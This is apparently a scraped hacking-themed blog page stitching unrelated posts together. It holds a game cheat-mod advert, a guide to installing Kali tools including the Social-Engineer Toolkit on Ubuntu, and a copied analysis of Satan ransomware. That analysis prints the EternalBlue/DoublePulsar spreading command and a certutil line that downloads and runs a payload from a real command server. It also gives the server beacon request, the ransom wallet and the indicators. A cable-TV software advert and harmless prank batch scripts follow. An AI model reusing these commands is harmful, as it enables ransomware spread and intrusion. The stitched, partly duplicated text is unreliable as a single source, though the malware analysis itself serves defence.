👇FEATURES OF THIS HACK👇
(1) UNLIMITED MONEY (2) UNLIMITED FORCE ON ALL CUE (3) SEMI GUIDELINE MOD (4) UPDATED VERSION (5) GAME KILLER MOD ENABLE (6) *NO ROOT* (7) Etc...
Fill The Captcha
Sunday, 22 April 2018
8 Ball Pool v 3.13.4 Unlimited Force Mod By Game Killer
👇FEATURES OF THIS HACK👇
Fill The Captcha
To Luarn How To Hack Any Games Subscribe Hack Now Channel
Install Kali Linux tools on Lubuntu/Ubuntu
 |
| Install Kali Linux tools on Lubuntu with Katoolin |
sudo apt update && sudo apt install git
 |
| LXTerminal |
git clone https://github.com/LionSec/katoolin && sudo cp katoolin/katoolin.py /usr/bin/katoolin
sudo chmod +x /usr/bin/katoolin
sudo katoolin
3, To install Kali Linux tools, add and update Kali Linux repositories:
1 (Add Kali Linux repositories & Update) > 1 (Add Kali Linux repositories) and 2 (Update)
4, Install classismenu indicator:
gohome > 3 (classismenu indicator) and y (Yes)
5, Next, install the Kali Linux menu to categorize the tools:
gohome > 4 (Install Kali menu) and y (Yes)
6, Now, install all Kali Linux tools
gohome > 2 (View Categories) > 0 (All)
Or you can install some Kali Linux tools at will. For example, you only want to install SET (Social-Engineer Toolkit):
gohome > 2 (View Categories) > 8 (Exploitation Tools) > 13 (SET)
7, Open new LXTerminal (Lubuntu) or Terminal (Ubuntu) window. To open SET, enter this command: sudo setoolkit
8, Layout of the Lubuntu menu after installing Kali Linux tools
 |
| Kali Linux menu on Lubuntu |
Join the Telegram channel with me
Saturday, 21 April 2018
Satan ransomware adds EternalBlue exploit
Today, MalwareHunterTeam reached out to me about a possible new variant of Satan ransomware.
Satan ransomware itself has been around since January 2017 as reported by Bleeping Computer.
In this blog post we'll analyse a new version of the infamous Satan ransomware, which since November 2017 has been using the EternalBlue exploit to spread via the network, and consequently encrypt files.
Analysis
First up is a file inconspicuously named "sts.exe", which may refer to "Satan spreader".
- MD5: 12bc52fd9da66db3e63bfb196ceb9be6
- SHA1: 4508e3442673c149b31e3fffc29cc95f834975bc
- SHA256: b686cba1894f8ab5cec0ce5db195022def00204f6cd143a325608ec93e8b74ee
- Compilation timestamp: 2018-04-14 06:33:08
- VirusTotal report:
b686cba1894f8ab5cec0ce5db195022def00204f6cd143a325608ec93e8b74ee
The file is packed with PECompact 2, and is therefore only 30KB in filesize.
Notably, Satan has used different packers in multiple campaigns, for example, it has also used UPX and WinUpack. This is possibly due to a packer option in the Satan RaaS builder. Fun fact: Iron ransomware, which may be a spin-off from Satan, has used VMProtect.
"sts.exe" acts as a simple downloader, and will download two new files, both SFX archives, and extract them with a given password:
 |
| Figure 1 - download and extract two new files |
Both files will be downloaded from 198.55.107[.]149, and use a custom User-Agent "RookIE/1.0", which seems a rather unique User-Agent.
- ms.exe has password: iamsatancryptor
- client.exe has password: abcdefghijklmn
It appears the Satan ransomware developers showcase some sense of humor by using the password "iamsatancryptor".
Once the user has executed "sts.exe", they will get the following UAC prompt, if enabled:
 |
| Figure 2 - UAC prompt |
Client.exe (94868520b220d57ec9df605839128c9b) is, as mentioned earlier, an SFX archive and will hold the actual Satan ransomware, named "Cryptor.exe". Figure 2 shows the command line options.
Curiously, and thanks to the s2 option, the start dialog will be hidden, but the extraction progress is displayed - this means we need to click through to install the ransomware. Even more curious: the setup is in Chinese.
 |
| Figure 3 - End of setup screen |
ms.exe (770ddc649b8784989eed4cee10e8aa04) on the other hand will drop and load the EternalBlue exploit, and starts scanning for vulnerable hosts. Required files will be dropped in the C:\ProgramData folder, as seen in Figure 3. Note it uses a publicly available implementation of the exploit - it does not appear to use its own.
The infection of other machines on the network will be achieved with the following command:
cmd /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp
We can then see an attempt to spread the ransomware to other machine in the same network:
 |
| Figure 4 - Spreading attempt over SMB, port 445 |
down64.dll (17f8d5aff617bb729fcc79be322fcb67) will be loaded in memory using DoublePulsar, and executes the following command:
cmd.exe /c certutil.exe -urlcache -split -f http://198.55.107.149/cab/sts.exe c:/sts.exe&c:\sts.exe
This will be used for planting sts.exe on other machines in the network, and will consequently be executed.
Satan ransomware itself, which is contained in Client.exe, will be dropped to C:\Cryptor.exe.
This payload is also packed with PECompact 2. As usual, any database-related services and processes will be stopped and killed, which it does to also encrypt those files possibly in use by another process.
This payload is also packed with PECompact 2. As usual, any database-related services and processes will be stopped and killed, which it does to also encrypt those files possibly in use by another process.
 |
| Figure 5 - Database-related processes |
What's new in this version of Satan, is that the exclusion list has changed slightly - it will not encrypt files with the following words in its path:
windows, python2, python3, microsoft games, boot, i386, ST_V22, intel, dvd maker, recycle, libs, all users, 360rec, 360sec, 360sand, favorites, common files, internet explorer, msbuild, public, 360downloads, windows defen, windows mail, windows media pl, windows nt, windows photo viewer, windows sidebar, default user
This exclusion list is reminiscent of Iron ransomware. (or vice-versa)
Satan will, after encryption, automatically open the following ransomware note: C:\_How_to_decrypt_files.txt:
 |
| Figure 6 - Ransom note |
The note is, as usual, in English, Chinese and Korean, and demands the user to pay 0.3 BTC. Satan will prepend filenames with its email address, satan_pro@mail.ru, and append extensions with .satan. For example: [satan_pro@mail.ru]Desert.jpg.satan
BTC Wallet: 14hCK6iRXwRkmBFRKG8kiSpCSpKmqtH2qo
Email: satan_pro@mail.ru
Note: _How_to_decrypt_files.txt
It appears one person has already paid 0.2 BTC:
https://blockchain.info/address/14hCK6iRXwRkmBFRKG8kiSpCSpKmqtH2qo
Satan will create a unique mutex, SATANAPP, so the ransomware won't run twice. It will also generate a unique hardware ID and sends this to the C2 server:
GET /data/token.php?status=ST&code=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
HTTP/1.1
Connection: Keep-Alive
User-Agent: Winnet Client
Host: 198.55.107.149
As mentioned in the beginning of this blog post, Satan ransomware has been using EternalBlue since at least November 2017 last year. For example, 25005f06e9b45fad836641b19b96f4b3 is another downloader which works similar to what is posted in this blog. It would fetch the following files:
2017-11-20 18:35:17 UTC ( 5 months ago )
For additional reading, read this excellent post by Tencent, who discovered a similar variant using EternalBlue earlier in April this year.
Disinfection
You may want to verify if any of the following files or folders exist:
- C:\sts.exe
- C:\Cryptor.exe
- C:\ProgramData\ms.exe
- C:\ProgramData\client.exe
- C:\Windows\Temp\KSession
Conclusion
Satan is not the first ransomware to use EternalBlue (for example, WannaCry), however, it does appear the developers of Satan are continuously improving and adding features to its ransomware.
Prevention is always better than disinfection/decryption.
IOCs
CaTv Max Player Version 4 For Windows 7/8/8.1/10 x86/x64
CaTv Max Player Version 4 For Windows 7/8/8.1/10 x86/x64
CaTv Max Player Cable Software In Pakistan
CaTv Max Player Cable Oprating Software in Pakistan. We are the first company,who releases a complete CaTv Cable oprating software in pakistan.
Features :
CaTv Max Player turn your PC into cable channel :
- Play MOVIES, SONGS, COMMERCIALS
- Play Advertisement Manualy , Morning Schedule
- Display Flash Scrolls , Logos , LShapes On Tv
- Play Advertisement on any Satelite channel
- Play Adds StarPlus , Sony Tv And Any Cricket channel
- Display Flash Scrolls And Logos on Satelite channel
- Play Videos Direct From Youtube to your tv screen
Final Destination
So if you are looking out for Movies, News, Advertisements, Tickers, Flash & Logos Playout software for Cable TV Networks to run your automated channels through computers with Video Streaming or looking for SMS Video selection, video jukebox channel software you have Finally reached your destination!
or More Info Please Contact Us:
catvsoft@gmail.com
[WARHOX]root access prank/trick
DISCLAIMER: This Channel DOES NOT Promote or encourage Any illegal activities , all contents provided by This Channel is meant for EDUCATIONAL PURPOSE only .
Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for "fair use" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statute that might otherwise be infringing. Non-profit, educational or personal use tips the balance in favor of fair use.
------------------------------------------------
codes 1:
@echo off
:a
color 2
echo 1 1 1 0 1 0 0 0 1 1 1 1 0 0 0 1 1 0 0 1 0 0 0 1 1 0 1 0 1 0 0 0 1 1 1 1
ping localhost -n 1 > nul
echo 1 1 0 1 1 1 0 0 0 1 0 1 a f h 0 0 0 1 0 1 1 0 0 1 1 1 0 0 1 0 1 0 0 1 1 0
echo 1 0 0 1 1 0 9 8 1 2 0 1 9 9 2 1 1 1 0 0 1 0 1 1 1 0 1 1 0 1 0 0 0 1 0 1 1
ping localhost -n 1 > nul
echo 0 1 0 0 0 1 0 0 0 1 0 0 0 1 0 1 0 0 1 0 1 0 1 1 0 1 0 0 0 01 0 1 0 0 1 0
ping localhost -n 1 > nul
echo 1 0 1 1 1 0 1 1 0 9 1 1 2 1 1 0 9 1 0 5 7 7 8 7 8 1 3 2 1 2 1 2 3 2 1 3 4
ping localhost -n 1 > nul
echo 1 1 1 0 1 0 0 1 0 0 0 1 1 1 0 0 1 1 1 4 1 2 1 1 2 0 1 0 1 2 2 1 0 1 1 0 1
goto a
------------------------------------------------
_________________________________________________________________
------------------------------------------------
@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start
------------------------------------------------
Subscribe to:
Comments (Atom)